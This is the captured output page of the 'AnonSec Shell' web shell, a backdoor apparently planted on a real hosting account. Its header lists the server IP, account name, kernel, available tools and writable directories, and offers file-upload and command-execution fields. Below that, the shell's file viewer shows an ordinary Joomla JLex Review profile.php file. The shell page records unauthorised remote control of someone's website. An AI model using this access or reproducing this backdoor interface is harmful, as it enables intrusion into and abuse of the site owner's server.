AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.94
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/annonces/components/com_jlexreview/libs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/annonces/components/com_jlexreview/libs/profile.php
<?php
/**
 * @package     JLex Review
 * @version     4.2.3
 * @copyright   Copyright (c) 2013-2018 JLexArt. All rights reserved
 * @license     GNU General Public License version 2 or later;
 * @author      www.jlexart.com
 */

defined ( "_JEXEC" ) or die;

class JLexReviewProfile 
{
    protected $type = 'none';

    protected $loaded = false;

    public function __construct($type)
    {
    	$this->type = $type;
    }

    private function load($files)
    {
    	if($this->loaded==true) return true;

    	$this->loaded = true;

    	foreach($files as $file)
    	{
    		if(file_exists($file))
                require_once $file;
    	}
    }

    public function getFirstName($name)
    {
        $name = trim($name);
        $last_name = (strpos($name, ' ') === false) ? '' : preg_replace('#.*\s([\w-]*)$#', '$1', $name);
        $first_name = trim( preg_replace('#'.$last_name.'#', '', $name ) );
        
        return $first_name;
    }

    public function getUser($uid=null, $email='', $name='')
    {
        static $profiles=array();
        static $guestdata=null;

        $db     = JFactory::getDbo();
        $query  = $db->getQuery(true);
        $config = JLexReviewHelperAdmin::getConfig();
        $thumb  = JUri::base(true) . '/media/jlexreview/system/avatar_default.png' ;
        $link   = 'javascript:void(0);';

        if($uid<1)
        {
            if(is_null($uid))
            {
                $profile = JFactory::getUser();
                $uid     = $profile->id;
            } else {
                // guest
                $profile = new JRegistry();
                $profile->set('id', 0);
                $profile->set('email', $email);

                if($config->get('author_name')=='firstname')
                {
                    $profile->set('jname', $this->getFirstName($name));
                } else {
                    $profile->set('jname', $name);
                }
            }
        }

        if($uid>0)
        {
            if(array_key_exists($uid, $profiles)) return $profiles[$uid];

            $query->clear()
                  ->select("username")
                  ->from("#__users")
                  ->where("id=".$db->quote($uid));

            $alias = $db->setQuery($query)->loadResult();
            $slug  = $alias?JFilterOutput::stringURLSafe($uid.":".$alias):$uid;

            $profile = JUser::getInstance($uid);
            $link    = JLexReviewHelperSite::route('index.php?option=com_jlexreview&view=profile&id='.$slug);
            
            $query->clear()
                  ->select("*")
                  ->from("#__jlexreview_users")
                  ->where("userid=".$db->quote($uid));

            $result = $db->setQuery($query)->loadObject();

            // jlexcomment
            $count_cm = 0;
            if($config->get('profile_jcm',0)==1 && file_exists(JPATH_ROOT.'/components/com_jlexcomment/jlexcomment.php'))
            {
                $query->clear()
                      ->select("COUNT(*)")
                      ->from("#__jlexcomment")
                      ->where(array(
                            "published=1",
                            "created_by=".$db->quote($uid)
                        ));
                      
                $count_cm = $db->setQuery($query)->loadResult();
                $count_cm = !$count_cm?0:$count_cm*1;
                $profile->set('jreview_count_cm',$count_cm);
            }

            if ($result)
            {
                $profile->set('jreview_count_rating', $result->count_rating*1);
                $profile->set('jreview_count_cm', $result->count_cm*1+$count_cm);
                $profile->set('jreview_count_helpful', $result->count_helpful*1);

                if (preg_match("/^https?:\/\//", $result->auth_picture))
                {
                    $thumb = $result->auth_picture;
                } elseif (!preg_match('/^\s*$/', $result->auth_picture)) {
                    $thumb = JUri::base (true) . '/media/jlexreview/avatar/' . $result->auth_picture;
                }
            }

            switch ($config->get('author_name','username'))
            {
                case 'fullname':
                    $profile->set('jname', $profile->name);
                    break;

                case 'firstname':
                    $profile->set('jname', $this->getFirstName($profile->name));
                    break;

                default:
                    $profile->set('jname', $profile->username);
                    break;
            }
        }


        // gravatar
        if($profile->get('id')>0 || ($profile->get('id')==0 && $this->type=='gravatar' && $email!=''))
        {
            $data = $this->_3rd($profile->get('id'), $email);
            if ($data)
            {
                if (!empty($data ['link']))
                {
                    $link   = $data ['link'];
                }

                if (!empty($data ['thumb']))
                {
                    $thumb  = $data ['thumb'];
                }
                
            }
        } else {
            if(is_null($guestdata))
            {
                $guestdata = $this->_3rd($this->type=='jomsocial'?-1:0);
            }

            if($guestdata)
            {
                if (!empty($guestdata['link']))
                {
                    $link   = $guestdata['link'];
                }

                if (!empty($guestdata['thumb']))
                {
                    $thumb  = $guestdata['thumb'];
                }
            }
        }
        

        if($config->get('profile_page',1)==0)
        {
            $link = 'javascript:void(0);';
        }

        $profile->set('jreview_thumb', $thumb);
        $profile->set('jreview_link', $link);

        // just assign for member
        if($uid>0) $profiles[$profile->id] = $profile;
        
        return $profile;
    }

    private function _3rd($userid, $email='')
    {
        // make sure that user must not guest
        $db = JFactory::getDbo();

        switch($this->type)
        {
            case 'easysocial':
                $this->load([
                    JPATH_ADMINISTRATOR . '/components/com_easysocial/includes/easysocial.php'
                ]);

                if(!class_exists('ES'))
                    return false;

                $thumb = ES::user($userid)->getAvatar();
                $link = ES::user($userid)->getPermalink();
                break;

            case 'easyprofile':
                $this->load ([
                    JPATH_SITE.'/components/com_jsn/helpers/helper.php'
                ]);

                if(!class_exists('JsnHelper') || !$userid) return false;

                $user = JsnHelper::getUser($userid);

                $thumb = JUri::root().$user->getValue("avatar");
                $link = $user->getLink();
                break;

            case 'k2':
                $this->load([
                    JPATH_ROOT . '/components/com_k2/helpers/route.php',
                    JPATH_ROOT . '/components/com_k2/helpers/utilities.php'
                ]);

                $result = $db->setQuery("SELECT image FROM #__k2_users WHERE userID={$userid}")->loadResult();
                $thumb = is_null($result) ? null : JUri::base(true) . '/media/k2/users/' . $result;
                $link = K2HelperRoute::getUserRoute($userid);
                break;

            case 'cb':
                $this->load([
                    JPATH_ADMINISTRATOR . '/components/com_comprofiler/plugin.foundation.php'
                ]);

                if(!class_exists('CBuser'))
                    return false;

                $thumb = CBuser::getInstance($userid)->avatarFilePath();
                $link = cbSef('index.php?option=com_comprofiler&amp;task=userProfile&amp;user=' . $userid);
                break;

            case 'easyblog':
                $this->load([
                    JPATH_ADMINISTRATOR . '/components/com_easyblog/includes/easyblog.php'
                ]);

                if(!class_exists('EB'))
                    return false;

                $thumb = EB::user($userid)->getAvatar();
                $link = EB::user($userid)->getPermalink();
                break;

            case 'easydiscuss':
                $this->load([
                    JPATH_ADMINISTRATOR . '/components/com_easydiscuss/includes/easydiscuss.php'
                ]);

                if(!class_exists('ED'))
                    return false;

                $thumb = ED::user($userid)->getAvatar();
                $link = ED::user($userid)->getPermalink();
                break;

            case 'gravatar':
                $default = JUri::base() . 'components/com_jlexreview/assets/images/default.jpg';
                $emailKey = md5(strtolower(trim($email)));
                
                $thumb = 'http://www.gravatar.com/avatar/' . $emailKey . '?s=100&amp;d=' . urlencode($default) . '&amp;s=64';
                $link = 'http://www.gravatar.com/' . md5($email);
                break;

            case 'jomsocial':
                $this->load (array(
                    JPATH_ROOT . '/components/com_community/libraries/core.php'
                ));

                if (! class_exists('CFactory'))
                {
                    return false;
                }

                $thumb = CFactory::getUser($userid)->getThumbAvatar();
                $link = CRoute::_('index.php?option=com_community&view=profile&userid=' . $userid);
                break;

            case 'kunena':
                $this->load (array(
                    JPATH_ADMINISTRATOR . '/components/com_kunena/libraries/factory.php'
                ));

                if (! class_exists('KunenaFactory'))
                {
                    return false;
                }

                $thumb = KunenaFactory::getUser($userid)->getAvatarURL('kavatar');
                $link = KunenaFactory::getProfile($userid)->getProfileURL($userid, '');
                break;

            case 'kunena3':
                $this->load (array(
                    JPATH_PLATFORM . '/kunena/factory.php'
                ));

                if (! class_exists('KunenaFactory'))
                {
                    return false;
                }

                $thumb = KunenaFactory::getUser($userid)->getAvatarURL(72, 72);
                $link = KunenaFactory::getUser($userid)->getURL();
                break;

            case 'jlexcomment':
                $path = JPATH_ROOT . "/components/com_jlexcomment/jlexcomment.php";
                if(!file_exists($path)) return false;

                $thumb = JUri::base(true)."/media/jcm/avatar/jcm_avatar.png";
                $query = $db->getQuery(true);

                $query->select("auth_picture")
                      ->from("#__jlexcomment_users")
                      ->where("userid=".$db->quote($userid));

                $result = $db->setQuery($query)->loadResult();
                
                if($result)
                {
                    $thumb = preg_match("/^http/", $result) ? $result : (JUri::base(true)."/media/jcm/avatar/".$result);
                }

                $link = null;
                break;

            case "field":
                $thumb = JUri::base(true).'/index.php?option=com_jlexreview&view=profile&task=getAvatar&id='.$userid;
                break;

            default :
                return false;
        }

        return array (
                'link'  => $link,
                'thumb' => $thumb
            );
    }
}

Anon7 - 2022
AnonSec Team